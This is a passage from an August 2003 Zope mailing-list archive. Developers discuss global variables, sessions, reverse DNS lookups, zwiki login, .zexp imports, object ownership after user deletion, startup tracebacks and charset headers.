See how that works? Now, here is something important to remember - this variable is available to everything in that folder. If something is ABOVE that folder, then Zope cannot find that variable for you (it is not in the path). Let me know if you still have problems, ok? -- Mitch From bluepaul at earthlink.net Wed Aug 27 15:27:20 2003 From: bluepaul at earthlink.net (David Hassalevris) Date: Wed Aug 27 17:27:33 2003 Subject: [Zope] Global Variable References: <05256D8F.006DD99D.00@bquilla.lattice.com.co> <1062018405.4945.5.camel@sprocket> Message-ID: <005e01c36ce2$002e2a20$0200a8c0@DAVIDH> If you do not forsee portibility as an issue than using folder properties is surely cool for globals. Its just when you want to update data.fs and your global is say a counter that things do not work out well. I eventually had to move almost everything into a database. For example u could have a table named globals. So ... David ----- Original Message ----- From: "Mitch Pirtle" To: Cc: Sent: Wednesday, August 27, 2003 2:06 PM Subject: Re: [Zope] Global Variable > On Wed, 2003-08-27 at 16:00, rpenatez@lattice.com.co wrote: > > How can I assign a value to one of this variables??? How can I recover the > > variables values??? > > No problemo! Follow these steps: > > 1) create folder called "test" > 2) select "test" folder > 3) click on "Properties" tab > 4) at the bottom of the Properties screen, create a variable: > Name: tequila > Value: mezcal > 5) create a document in the test folder called "test" > 6) the content of that document should look like this: > > >

>

> This is the Document. >

> >

My favorite tequila is .

> > > > See how that works? Now, here is something important to remember - this > variable is available to everything in that folder. If something is > ABOVE that folder, then Zope cannot find that variable for you (it is > not in the path). > > Let me know if you still have problems, ok? > > -- Mitch > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) From mitchy at spacemonkeylabs.com Wed Aug 27 18:27:50 2003 From: mitchy at spacemonkeylabs.com (Mitch Pirtle) Date: Wed Aug 27 17:48:28 2003 Subject: [Zope] Global Variable In-Reply-To: <05256D8F.006F3547.00@bquilla.lattice.com.co> References: <05256D8F.006F3547.00@bquilla.lattice.com.co> Message-ID: <1062019670.4945.9.camel@sprocket> On Wed, 2003-08-27 at 16:15, rpenatez@lattice.com.co wrote: > How can I dynamically assign values to these variables??? It depends on what you are trying to do. I have never been fond of variables in DTML, and can say it is much, MUCH better in ZPT. To do it as part of the session (so each person browsing your site has a different value), you'd need to see this: http://zope.org/Wikis/DevSite/Projects/CoreSessionTracking/SessionManager I hope this helps. As I'm not sure what you are trying to do, I'm afraid to offer more advice - I don't want to give you a 'solution' that points you down the wrong path! -- Mitch From roger at beavans.org Wed Aug 27 18:00:38 2003 From: roger at beavans.org (Roger Beavans) Date: Wed Aug 27 18:07:35 2003 Subject: [Zope] Zope on HP-UX 11.11, startup error Message-ID: I have the following problem. HP-UX 11.11, python 2.1.3. I'm trying to start zope with the ./start -u zope, command. the user "zope" has rights to the var directory. 2003-08-28T16:10:22 PANIC(300) z2 Startup exception Traceback (innermost last): File /usr2/usr/local/zope/z2.py, line 748, in ? File /usr2/usr/local/zope/ZServer/PCGIServer.py, line 255, in __init__ TypeError: open() argument 1 must be string, not None any help appreciated, thanks, roger@beavans.org From marc at sharedbase.com Thu Aug 28 00:30:55 2003 From: marc at sharedbase.com (Marc Burgauer) Date: Wed Aug 27 18:27:59 2003 Subject: [Zope] Translate IP to domain? Message-ID: Hi For marketing reasons, we would like to be able to resolve the IP address of users filling in a web form to their domain name. Is there a Zope product or a python library that allows me to do on the fly IP-to-domain conversion? If the address can not be resolved, I'd like to "keep" the IP address in the result. Zope 2.3 (soon moving to 2.6) Solaris (intel) NO Apache yet, but maybe in the future! Cheers Marc From allison at sumeru.stanford.EDU Wed Aug 27 16:54:03 2003 From: allison at sumeru.stanford.EDU (Dennis Allison) Date: Wed Aug 27 18:55:14 2003 Subject: [Zope] Translate IP to domain? In-Reply-To: Message-ID: An External method -- import socket def gethostbyname(self, ipaddress ): return socket.gethostbyaddr( ipaddress )[0] (untested) ought to do it. On Wed, 27 Aug 2003, Marc Burgauer wrote: > Hi > > For marketing reasons, we would like to be able to resolve the IP address of > users filling in a web form to their domain name. > > Is there a Zope product or a python library that allows me to do on the fly > IP-to-domain conversion? If the address can not be resolved, I'd like to > "keep" the IP address in the result. > > Zope 2.3 (soon moving to 2.6) > Solaris (intel) > > NO Apache yet, but maybe in the future! > > Cheers > > Marc > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > From hancock at anansispaceworks.com Wed Aug 27 19:00:24 2003 From: hancock at anansispaceworks.com (Terry Hancock) Date: Wed Aug 27 18:57:59 2003 Subject: [Zope] Global Variable In-Reply-To: <05256D8F.006AA250.00@bquilla.lattice.com.co> References: <05256D8F.006AA250.00@bquilla.lattice.com.co> Message-ID: On Wednesday 27 August 2003 02:26 pm, rpenatez@lattice.com.co wrote: > Hello Zopers! > I need to write a global variable into my Zope project but I don't know how > to do it. HELP!!!! > RicardoP There's really no such thing as a global variable! In the context of a single executable, we mean "in the scope of the whole executable program in a given instance or invocation of the program". That seems obvious when programming a simple executable program. But for a web application, the situation is more complex. Which scope or lifetime should the variable have? Is it a property of the object/instance in the ZODB? Is it a property of a "session" with a particular user? Is it a property of the entire web application on a given server? Is it a per-server property? Is it a per-page property? Is it a per-user property? Is it a property of the particular release of your product? Or your site? Perhaps it should even apply to all server running the program in the entire world (which would be truly "global"). Where you put the variable will depend on which of these many possibilities you meant. Some of the places I have put variables that are "global" in one of these various ways: * MySQL database field, keyed to the user * Property of a high-level folder * Defined in an imported Config.py file in the product * Class attribute of a particular kind of Zope object * Stored in the REQUEST or in an HTML "POST" web form in a hidden form Cheers, Terry -- Terry Hancock ( hancock at anansispaceworks.com ) Anansi Spaceworks http://www.anansispaceworks.com From kylist at shcorp.com Wed Aug 27 20:09:10 2003 From: kylist at shcorp.com (Kurt Yoder) Date: Wed Aug 27 19:09:48 2003 Subject: [Zope] zwiki authentication? Message-ID: <47506.10.10.1.71.1062025750.squirrel@webmailtest.shcorp.com> So I've got zwiki installed. I can allow anonymous users to modify/add/delete pages. I can also restrict anonymous users to only view pages. So how do I add a "login to edit" link somewhere to the page that allows me to tell zwiki who I'm connecting as? That way I can say "only x, y, and z can edit this page, everyone else can only view it". Thanks for any help -- Kurt Yoder Sport & Health network administrator From luislavena at hotmail.com Wed Aug 27 22:10:24 2003 From: luislavena at hotmail.com (Luis Lavena) Date: Wed Aug 27 20:12:26 2003 Subject: [Zope] 'import' directory accesible from scripting. Message-ID: I think that I start getting the picture: (please correct me if I'm wrong) What I need is my own Folderish (ObjectManager implementation) with a customized manage_importObject() which at the same time call _importObjectFromFile() to handle the "real" file import process. Now the thing is: the database (ZODB) Connection is which parses the file, and take a filename string or a "file" object that support read() function, how do I "mask" the OFS.File object to provide a read() function? just adding a "hook" to the OFS.File that handle the self.data? Ok, hope this wasn't to basic, newbie or stupid for you ;) Thanks for your time. Please excuse my poor english. Luis Lavena PS: The FTP was another stupid idea: use a 3rd party FTP with his home directory set to $INSTANCE_HOME/import for providing a workaround to .zexp importing. ----Original Message Follows---- From: Dieter Maurer To: "Luis Lavena" CC: Subject: Re: [Zope] 'import' directory accesible from scripting. Date: Wed, 27 Aug 2003 21:11:36 +0200 Luis Lavena wrote at 2003-8-26 04:07 -0300: > ... > Q: Is there a way to handle the upload and import process by a product (to > be created) to bypass this security? Sure! Look at the implementation of the import functionality. It consists of two parts: locating the file and importing from this file. You can use the second part and solve the first part in any appropriate way. Almost surely, the "file" object do not need to be a real file, a file like object will probably sufficient. > or must relly on a limited FTP server > that only allow me upload information to the "import" directory? This has nothing to do with FTP. You can even use FTP (together with a "PUT_factory" (see Zope.org, for details)) to upload "zexp"s. Note, however, that this would be a security risk. Dieter _________________________________________________________________ Add photos to your e-mail with MSN 8. Get 2 months FREE*. http://join.msn.com/?page=features/featuredemail From allison at sumeru.stanford.EDU Wed Aug 27 22:18:43 2003 From: allison at sumeru.stanford.EDU (Dennis Allison) Date: Thu Aug 28 00:20:08 2003 Subject: [Zope] Zope 2.7 on RH9 In-Reply-To: <200308270359.h7R3xwiC021781@localhost.localdomain> Message-ID: Anthony Baxter wrote: > FWIW, pythodirector seems to work fine on RH9. Depending on what you're > using Pound for, it may be appropriate. > > http://pythondirector.sf.net/ > Thanks for the pointer. Pythondirector doesn't do exactly what I want, but it will be easy to adapt. It installed cleanly (well, it did expose an apparent bug in Python 2.3's unicode support) and runs well under Python 2.2. Kudos for a useful, cleanly designed product! From tillea at rki.de Thu Aug 28 09:02:10 2003 From: tillea at rki.de (Andreas Tille) Date: Thu Aug 28 02:03:29 2003 Subject: [Zope] Re: No module named GenericUserFolder In-Reply-To: <16189.12840.100595.203742@gargle.gargle.HOWL> Message-ID: On Fri, 15 Aug 2003, Dieter Maurer wrote: > Fine. It may mean however, that you have to live with your problem... While I can cope perfectly with something which is no real problem for me I have to admit that this answer diverges slightly what I observed in the past at this list in special and other Free Software related lists in common. I just try to gather information for a reasonable bug report which gives developers as much as possible relevant information. > One of your ZODB objects references "GenericUserFolder" and > you have it not longer installed ... I think I have understand this and in my opinion it is a bug of Zope of the previous existance and later removal of any random product (while I do not realy know if "any random" is correct) leads to a situation that not obviousely related parts of Zope break functionality. Please note: *I* can cope with *this* situation but I feel obliged to other users and developers to not to hide the knowledge. > You can use a debugger (--> see mailing list archives and HowTos) > to analyse the object causing the exception. You should be able to find its > class (I expect a ZClass) and its "_p_oid". Do you have any more explicite hint regarding debugging techniques? I just found to start Zope with -D option but I did not recognized any more explicite logs or error messages. Kind regards Andreas. From garry at joydiv.fsnet.co.uk Thu Aug 28 08:40:36 2003 From: garry at joydiv.fsnet.co.uk (garry saddington) Date: Thu Aug 28 02:43:08 2003 Subject: [Zope] Re: NisUserFolder In-Reply-To: <16205.885.97430.399008@gargle.gargle.HOWL> References: <200308261645.44923.garry@joydiv.fsnet.co.uk> <16205.885.97430.399008@gargle.gargle.HOWL> Message-ID: <200308280740.36952.garry@joydiv.fsnet.co.uk> On Wednesday 27 August 2003 20:16, Dieter Maurer wrote: > garry saddington wrote at 2003-8-26 16:45 +0100: > > I am trying to use the postgres auth method from exUserFolder with a > > plone site but i get an error message in the plone interface. > > > > 'global name time not defined' > > > > Does anyone know what this error is caused by please? > > I do not. > > But I know, that the traceback (--> /error_log) would help you > to find out... > > > Dieter >Thanks, i have got the traceback but unfortunately i am not able to interpret it, can anyone help me please? It is actually while using NisUserFolder as i would prefer this method if i can get it to work. here it is Traceback (innermost last): Module ZPublisher.Publish, line 98, in publish Module ZPublisher.mapply, line 88, in mapply Module ZPublisher.Publish, line 39, in call_object Module Products.CMFCore.FSPythonScript, line 90, in __call__ Module Shared.DC.Scripts.Bindings, line 252, in __call__ Module Shared.DC.Scripts.Bindings, line 283, in _bindAndExec Module Products.CMFCore.FSPythonScript, line 124, in _exec - __traceback_info__: ({'script': , 'context': , 'container': , 'traverse_subpath': []}, (), {}, None) Module Script (Python), line 25, in logged_in Module Shared.DC.Scripts.Bindings, line 252, in __call__ Module Shared.DC.Scripts.Bindings, line 283, in _bindAndExec Module Products.CMFCore.FSPageTemplate, line 167, in _exec Module Products.PageTemplates.ZopePageTemplate, line 228, in _exec Module Products.CMFCore.FSPageTemplate, line 139, in pt_render Module Products.PageTemplates.PageTemplate, line 95, in pt_render - Module TAL.TALInterpreter, line 200, in __call__ Module TAL.TALInterpreter, line 244, in interpret Module TAL.TALInterpreter, line 703, in do_useMacro Module TAL.TALInterpreter, line 244, in interpret Module TAL.TALInterpreter, line 726, in do_defineSlot Module TAL.TALInterpreter, line 244, in interpret Module TAL.TALInterpreter, line 668, in do_condition Module Products.PageTemplates.TALES, line 217, in evaluate - Line 35, Column 12 - Expression: - Names: {'container': , 'default': , 'here': , 'loop': , 'modules': , 'nothing': None, 'options': {'args': ()}, 'repeat': , 'request': , 'root': , 'template': , 'traverse_subpath': [], 'user': try} Module Products.PageTemplates.ZRPythonExpr, line 48, in __call__ - __traceback_info__: not(member.login_time == here.ZopeTime('2000/01/01') and here.validate_email) Module Python expression "not(member.login_time == here.ZopeTime('2000/01/01') and here.validate_email)", line 2, in f AttributeError: ZopeTime Thanks in advance garry > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) From elena.schulz at gmx.net Thu Aug 28 11:34:25 2003 From: elena.schulz at gmx.net (Elena Schulz) Date: Thu Aug 28 04:35:43 2003 Subject: [Zope] objects not visible if owner is deletet? Message-ID: <00b801c36d3f$6bf39a80$010aa8c0@PCA> Hi, ff User_C creates myZPT, i.e. gets the role Owner and I delete User_C after a while, myZPT is not visible any more, even if users (i.e. (User_A, User_B) of other roles (i.e. Role_A and Role_B ) have view-permission. Is that wanted? Do I have to change the ownership of all objects created by User_C or is there an other way to overcome this problem? -- thanks for your hints, Elena My folder structure: root | - content(SecuritySettings: View: Aquired unchecked, only Role_A and Role_B checked) | - Folder1(myZPT, SecuritySettings: View: Aquired checked) | - Folder2 | - acl_users(User_A, User_B, User_C deleted (Owner of myZPT)) From chrisw at nipltd.com Thu Aug 28 11:31:36 2003 From: chrisw at nipltd.com (Chris Withers) Date: Thu Aug 28 05:31:42 2003 Subject: [Zope] How do I ask Zope for the name of an uploaded file? In-Reply-To: <3F4CB638.3090301@upfrontsystems.co.za> References: <3F496ED5.8040401@d-designz.co.nz> <3F4BA600.7000803@nipltd.com> <3F4CA9D7.3020705@nipltd.com> <3F4CB638.3090301@upfrontsystems.co.za> Message-ID: <3F4DCBF8.1080303@nipltd.com> Jean Jordaan wrote: >>> Is 4 a magic number, or is that just a "for instance" 4 X? > > It's the default number of threads, look for NUMBER_OF_THREADS > in '/z2.py' If your Zope still has a z2.py ;-) 2.7-ly yours, Chris From jean at upfrontsystems.co.za Thu Aug 28 12:33:37 2003 From: jean at upfrontsystems.co.za (Jean Jordaan) Date: Thu Aug 28 05:34:29 2003 Subject: [Zope] How do I ask Zope for the name of an uploaded file? In-Reply-To: References: <3F4CA9D7.3020705@nipltd.com> <3F4CB638.3090301@upfrontsystems.co.za> Message-ID: <3F4DCC71.2090903@upfrontsystems.co.za> > I assume it's possible to set that to 1 so that hangs will > always hang the server on the first failure? That might be > useful for testing (better repeatability). Yup. I've often run development Zopes with "-t 1", but it's baaad to go into production with more threads, when you've only been considering 1 during development :] -- Jean Jordaan http://www.upfrontsystems.co.za From chrisw at nipltd.com Thu Aug 28 11:34:55 2003 From: chrisw at nipltd.com (Chris Withers) Date: Thu Aug 28 05:35:27 2003 Subject: [Zope] problems with news item properties In-Reply-To: <20030826183405.GA8782@diamond.madduck.net> References: <20030826183405.GA8782@diamond.madduck.net> Message-ID: <3F4DCCBF.6070103@nipltd.com> martin f krafft wrote: > tal:define="results python:request.get('news', > here.portal_catalog.searchResults( ... ));:> This is the only bit I can see that could cause problems. Why do you look in the REQUEST for something called 'news' first? Find where that's being set and I bet you'll findthe source fo your problem ;-) Chris From chrisw at nipltd.com Thu Aug 28 11:44:52 2003 From: chrisw at nipltd.com (Chris Withers) Date: Thu Aug 28 05:45:06 2003 Subject: [Zope] MemoryError: out of memory In-Reply-To: <16205.1799.458659.904978@gargle.gargle.HOWL> References: <8075D5C3061B9441944E137377645118012ED8@cinshrexc03.shermfin.com> <16205.1799.458659.904978@gargle.gargle.HOWL> Message-ID: <3F4DCF14.1050402@nipltd.com> Dieter Maurer wrote: > "ulimit" can be used to set and check such limits. On Windows? Chris From madduck at madduck.net Thu Aug 28 12:46:20 2003 From: madduck at madduck.net (martin f krafft) Date: Thu Aug 28 05:46:36 2003 Subject: [Zope] Re: problems with news item properties In-Reply-To: <3F4DCCBF.6070103@nipltd.com> References: <20030826183405.GA8782@diamond.madduck.net> <3F4DCCBF.6070103@nipltd.com> Message-ID: <20030828094620.GA20459@diamond.madduck.net> also sprach Chris Withers [2003.08.28.1134 +0200]: > Why do you look in the REQUEST for something called 'news' first? I don't know, Plone does it that way. > Find where that's being set and I bet you'll findthe source fo > your problem Tried taking it out, no success. -- martin; (greetings from the heart of the sun.) \____ echo mailto: !#^."<*>"|tr "<*> mailto:" net@madduck invalid/expired pgp subkeys? use subkeys.pgp.net as keyserver! friends help you move. real friends help you move bodies. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030828/c494d8f8/attachment.bin From chrisw at nipltd.com Thu Aug 28 11:57:53 2003 From: chrisw at nipltd.com (Chris Withers) Date: Thu Aug 28 05:57:59 2003 Subject: [Zope] dtml-calendar: cannot update existing entry In-Reply-To: <5.0.0.25.2.20030826170404.00ac8508@mail.travant.com> References: <5.0.0.25.2.20030826170404.00ac8508@mail.travant.com> Message-ID: <3F4DD221.9010907@nipltd.com> Daniel Huang wrote: > I'm following Jon Udell's tutorial > (http://zope.org/Members/judell/CalendarTagExample) verbatim and have > successfully created entries in the calendar (version 1.0.15) . However > when I click on an existing entry and try to change the content, I get > the following error: > > Error Type: Bad Request > Error Value: Invalid or duplicate property id. Have you got the traceback which goes with this? > Its happening in the editCalendarProperty code: > /////////////// > REQUEST = context.REQUEST > > if ( context.hasProperty(REQUEST['prop']) ): > context.manage_changeProperties({ REQUEST['prop'] : > REQUEST['propval'] }) > else: > context.manage_addProperty(REQUEST['prop'], REQUEST['propval'], > 'string') > return REQUEST.RESPONSE.redirect(REQUEST['BASE4']) > //////////////// This code could do with a lot of refactoring, when done, it becomes: r = context.REQUEST propname = r.prop propval = r.propval if context.hasProperty(propname): context.manage_changeProperties({propname:propval}) else: context.manage_addProperty(propname,propval,'string') return r.RESPONSE.redirect(r.BASE4) cheers, Chris From chrisw at nipltd.com Thu Aug 28 11:59:30 2003 From: chrisw at nipltd.com (Chris Withers) Date: Thu Aug 28 05:59:39 2003 Subject: [Zope] Zope 2.7.0b1 on Windows In-Reply-To: <1061945099.3405.8.camel@athlon.dc.dc.cox.net> References: <1061945099.3405.8.camel@athlon.dc.dc.cox.net> Message-ID: <3F4DD282.6070605@nipltd.com> Chris McDonough wrote: > envvars). Neither works anymore. Installation is either via rpm, > executable, or via "configure; make; make install". What's the equivalent of this for Windows? > instead there's a zopectl script under UNIX and the system works as a > service under Windows. How do you run Zope NOT as a service on Windows? cheers, Chris From chrisw at nipltd.com Thu Aug 28 12:06:28 2003 From: chrisw at nipltd.com (Chris Withers) Date: Thu Aug 28 06:08:26 2003 Subject: [Zope] manage_clone problem, python script solution required please In-Reply-To: References: Message-ID: <3F4DD424.3030805@nipltd.com> Nicolas LAURANCE wrote: > It works perfectly well for me when I'm logged in as manager, but my users > get an error (prompted for password again) > > In the zope log I get : > Module OFS.CopySupport, line 268, in manage_clone > Module OFS.CopySupport, line 349, in _verifyObjectPaste > Unauthorized: Looks like your users don't have permission to access the object being copied, I wonder how that can be? > It seems (thank you Dieter) that this is a know bug Which bug? (url to collector entry please ;-) cheers, Chris From edegoute at nuxeo.com Thu Aug 28 13:06:31 2003 From: edegoute at nuxeo.com (Encolpe DEGOUTE) Date: Thu Aug 28 06:09:00 2003 Subject: [Zope] 2.7.0-b2 install failure (setup.py defect, I think) In-Reply-To: <20030827041351.GA17616@dman13.dyndns.org> References: <20030827041351.GA17616@dman13.dyndns.org> Message-ID: <20030828120631.6e539536.edegoute@nuxeo.com> On Wed, 27 Aug 2003 00:13:51 -0400 Derrick 'dman' Hudson wrote: > I've been using 2.7.0-b1 for a while, so I figured I'd take a look at > b2 now. However : > > $ python2.3 setup.py install --prefix /usr/local/opt/zope-2.7.0-b2 > running install > running build > running build_py > running build_ext > running install_lib > running install_data > running install > running build > running build_py > running install_lib > running install > running build > running build_scripts > error: mkpath: 'name' must be a string (got None) > > $ > > The build succeeds but the install fails. Is something wrong on my > system or has the setup.py script changed in some way? > > -D > > PS. This is on a debian testing/unstable system. This works on Debian sid: ./configure --with-python=/usr/bin/python2.2 \ --prefix=/home/zopes/instance; # you need to be root to add some stuff in /lib/python2.2/site-package sudo make;sudo make install; /home/zopes/instance/bin/mkzopeinstance.py \ -d /home/zopes/instance -u user:password; cd /home/zopes/instance; ./bin/zopectl start; ./bin/zopectl logtail& Check your /home/zopes/instance/etc/zope.conf for this stuff debug-mode on locale fr_FR port-base 500 # 8000 + port-base level all path $INSTANCE/log/event.log level info # add for debug path $INSTANCE/log/all.log level all # end A lot of logs are generated because of depreciation warning on i18n:attributes, it can overload your CPU. -- Encolpe DEGOUTE, Ing?nieur Logiciel, Nuxeo SARL: Zope Service Provider. Mail: edegoute@nuxeo.com - Tel: +33 (0)1 40 33 79 18 Nuxeo Collaborative Portal Server: http://www.nuxeo.com/cps Gestion de contenu web / portail collaboratif / groupware / open source From chrisw at nipltd.com Thu Aug 28 12:08:20 2003 From: chrisw at nipltd.com (Chris Withers) Date: Thu Aug 28 06:09:38 2003 Subject: [Zope] Charset HTTP header switched to UTF-8. Bug or feature ? In-Reply-To: <161001c36cb4$8579f020$0301a8c0@provence> References: <161001c36cb4$8579f020$0301a8c0@provence> Message-ID: <3F4DD494.5060203@nipltd.com> Gilles Lenfant wrote: > The "sometemplate" is published with this HTTP header : > > Content-Type: text/html;charset=UTF-8 > > When nowhere in my scripts/templates, I stated to use that charset. > You can imagine the ugly things that are displayed :-/ Toby Dickenson would be the man to ask, IIRC. Have you set UTF-8 as a default anywhere on your system? > I found a workaround: forcing the HTTP header of the response... > > > REQUEST.RESPONSE.setHeader('Content-Type', 'text/html; charset=iso-8859-1') > > return context.sometemplate(param1=value1, ...) > What about putting a meta declaration in the ? At least you don't have the clunky python code then... cheers, Chris From chrisw at nipltd.com Thu Aug 28 12:12:35 2003 From: chrisw at nipltd.com (Chris Withers) Date: Thu Aug 28 06:12:41 2003 Subject: [Zope] [Newbie] Source configuration management with zope In-Reply-To: <3F4CF713.9090804@free.fr> References: <3F4CF713.9090804@free.fr> Message-ID: <3F4DD593.9080202@nipltd.com> G?rard Oogle wrote: > * when I am developing my little prototype, the code and the data it > manipulates end up in the same Data.fs Yep. > * I don't know where to code my second iteration of this prototype Why not in the same ZODB? Maybe in a difference folder? Maybe on a different Zope instance? > as soon as I will have shown it to business expert I working with > and that he will start populating it with his data: > o should I use Zope version management features and work on > the *same* Data.fs than my business guy? NEVER use Zope versions... > o Does that mean that I cannot work locally on my machine and > that I have to be connected to the server us 2 guys have > access to? No, look at products like ZSyncer > o if so, how can I tag each versions or better how can I > package these versions to be able to deploy them in > different Data.fs? look at products like ZSyncer > To put it in a nutschell, I guess I am wondering how logic and data can > be separated in Zope. Easily, but by choice rather than by force. Have a look at CMF and see how it does this. You can also do this more simply by having all code in Python Scripts / ZPT's and storing all your data in a different object type. Zope's power is that you're free to choose this in terms of what is best for your application. > Last thing, in that same frame of mind, since zope.org itself was > recently upgraded, could somebody please detail us the various steps > followed for that migration? Go read all the posts in the zope-web@zope.org archives... Chris From chrisw at nipltd.com Thu Aug 28 12:13:49 2003 From: chrisw at nipltd.com (Chris Withers) Date: Thu Aug 28 06:13:55 2003 Subject: [Zope] how to ref property of an object. In-Reply-To: References: Message-ID: <3F4DD5DD.6040405@nipltd.com> Hamzat Kamal wrote: > I intend to display the title of an image as caption for the image when the > image is dsplay. Chris From chrisw at nipltd.com Thu Aug 28 12:18:17 2003 From: chrisw at nipltd.com (Chris Withers) Date: Thu Aug 28 06:18:22 2003 Subject: [Zope] keeping a python object alive across pageviews In-Reply-To: <3F4D11BD.7090103@wts.edu> References: <3F4D11BD.7090103@wts.edu> Message-ID: <3F4DD6E9.9030909@nipltd.com> Kirk Lowery wrote: > Whenever an external method is used to call the search engine, the > search engine then makes a database connection. Zope database adapters > cannot be used here, since it is emdros -- not Zope -- that is > managing the database. You could look at implementing a DA for emdros then... > When that external method completes, the > connection is lost. The more frequently that method is used, the > greater the performance hit because of the overhead of restablishing > the connection. Hmmm, could use module level python variables in your external method: myconnection = [] def myMethod(self): global myconnection if not myconnection: # create connection myconnection.append(theConnection) conn = myconnection[0] ..but you may need to worr abotu thread safety if you do that. > Zope database adapters could solve this problem, but that would mean > reimplementing the entire search engine in python as a Zope product, > which doesn't seem to be a practical solution. Might be the best idea though... > alive within the Zope process across pageviews? How do we associate > such a python object with a particular user session? Use the browser_id as a key into a module-level dictionary of connection objects. Thread safety will be an issue, as will getting rid of old connections... cheers, Chris From chrisw at nipltd.com Thu Aug 28 12:18:54 2003 From: chrisw at nipltd.com (Chris Withers) Date: Thu Aug 28 06:19:01 2003 Subject: [Zope] Global Variable In-Reply-To: References: Message-ID: <3F4DD70E.8080206@nipltd.com> Dennis Allison wrote: > Global variable? Where? In what? My guess is that session variables > may be what you want -- check out the Zope Book for details. ...or even normal REQUEST variables... Chris From chrisw at nipltd.com Thu Aug 28 12:19:57 2003 From: chrisw at nipltd.com (Chris Withers) Date: Thu Aug 28 06:20:09 2003 Subject: [Zope] Global Variable In-Reply-To: <005e01c36ce2$002e2a20$0200a8c0@DAVIDH> References: <05256D8F.006DD99D.00@bquilla.lattice.com.co> <1062018405.4945.5.camel@sprocket> <005e01c36ce2$002e2a20$0200a8c0@DAVIDH> Message-ID: <3F4DD74D.5070208@nipltd.com> David Hassalevris wrote: > I eventually had to move almost everything into a database. For example u > could have a table named globals. So ... You probably didn't HAVE to, but it may have made most sense to you at the time ;-) Chris From chrisw at nipltd.com Thu Aug 28 12:22:19 2003 From: chrisw at nipltd.com (Chris Withers) Date: Thu Aug 28 06:22:24 2003 Subject: [Zope] Re: NisUserFolder In-Reply-To: <200308280740.36952.garry@joydiv.fsnet.co.uk> References: <200308261645.44923.garry@joydiv.fsnet.co.uk> <16205.885.97430.399008@gargle.gargle.HOWL> <200308280740.36952.garry@joydiv.fsnet.co.uk> Message-ID: <3F4DD7DB.3040000@nipltd.com> garry saddington wrote: > Module Products.PageTemplates.ZRPythonExpr, line 48, in __call__ > - __traceback_info__: not(member.login_time == here.ZopeTime('2000/01/01') > and here.validate_email) > Module Python expression "not(member.login_time == > here.ZopeTime('2000/01/01') and here.validate_email)", line 2, in f > AttributeError: ZopeTime Dunno what this logic is doing in a ZPT :-( Try replacing here.ZopeTime with modules['DateTime'].DateTime cheers, Chris From chrisw at nipltd.com Thu Aug 28 12:24:36 2003 From: chrisw at nipltd.com (Chris Withers) Date: Thu Aug 28 06:24:47 2003 Subject: [Zope] Zope on HP-UX 11.11, startup error In-Reply-To: References: Message-ID: <3F4DD864.50903@nipltd.com> Roger Beavans wrote: > I have the following problem. HP-UX 11.11, python 2.1.3. I'm trying to start > zope with the ./start -u zope, command. the user "zope" has rights to the > var directory. > > 2003-08-28T16:10:22 PANIC(300) z2 Startup exception > Traceback (innermost last): > File /usr2/usr/local/zope/z2.py, line 748, in ? > File /usr2/usr/local/zope/ZServer/PCGIServer.py, line 255, in __init__ > TypeError: open() argument 1 must be string, not None Disable the PCGI server, it's horrible and old anyway. do "python z2.py --help" to find out how :-) Chris From chrisw at nipltd.com Thu Aug 28 12:26:49 2003 From: chrisw at nipltd.com (Chris Withers) Date: Thu Aug 28 06:26:57 2003 Subject: [Zope] Re: No module named GenericUserFolder In-Reply-To: References: Message-ID: <3F4DD8E9.8020501@nipltd.com> Andreas Tille wrote: > I think I have understand this and in my opinion it is a bug of Zope of > the previous existance and later removal of any random product (while I > do not realy know if "any random" is correct) leads to a situation that > not obviousely related parts of Zope break functionality. So if you remove one wheel of a car you would expect the steering to continue to behave exactly as it did before? ;-) > Do you have any more explicite hint regarding debugging techniques? Don't use ZClasses ;-) cheers, Chris From chrisw at nipltd.com Thu Aug 28 12:28:06 2003 From: chrisw at nipltd.com (Chris Withers) Date: Thu Aug 28 06:28:12 2003 Subject: [Zope] objects not visible if owner is deletet? In-Reply-To: <00b801c36d3f$6bf39a80$010aa8c0@PCA> References: <00b801c36d3f$6bf39a80$010aa8c0@PCA> Message-ID: <3F4DD936.5000702@nipltd.com> Elena Schulz wrote: > ff User_C creates myZPT, i.e. gets the role Owner and I delete User_C after > a while, myZPT is not visible any more, even if users (i.e. (User_A, User_B) > of other roles (i.e. Role_A and Role_B ) have view-permission. > Is that wanted? Yup, it prevents some nasty security issues... > Do I have to change the ownership of all objects created by > User_C or is there an other way to overcome this problem? Either: 1. don't delete User_C, just change their password so the user can't login. 2. Change ownership of all objects created by that user to someone else... cheers, Chris From djmitchell at optushome.com.au Thu Aug 28 21:45:12 2003 From: djmitchell at optushome.com.au (David Mitchell) Date: Thu Aug 28 06:46:28 2003 Subject: [Zope] Scripting ExternalFile Message-ID: <3F4DDD38.7080800@optushome.com.au> Hello everyone, I've got a script that generates HTML content on a regular basis, and I want to be able to make it visible via Zope. The ExternalFile product is just about perfect, except that I want to be able to script the "inclusion" of files into the Zope infrastructure rather than go ExternalFile's GUI each time. I can't just leave the HTML content out in the file system; I need to be able to manage access using Zope's security system. Has anyone got any pointers on how to do this, or even point me in the right direction? Thanks in advance Dave Mitchell From gilles at pilotsystems.net Thu Aug 28 14:08:49 2003 From: gilles at pilotsystems.net (Gilles Lenfant) Date: Thu Aug 28 06:55:14 2003 Subject: [Zope] Charset HTTP header switched to UTF-8. Bug or feature ? References: <161001c36cb4$8579f020$0301a8c0@provence> <3F4DD494.5060203@nipltd.com> Message-ID: <1a8201c36d54$c244e000$0301a8c0@provence> ----- Original Message ----- From: "Chris Withers" To: "Gilles Lenfant" Cc: Sent: Thursday, August 28, 2003 12:08 PM Subject: Re: [Zope] Charset HTTP header switched to UTF-8. Bug or feature ? > Gilles Lenfant wrote: > > The "sometemplate" is published with this HTTP header : > > > > Content-Type: 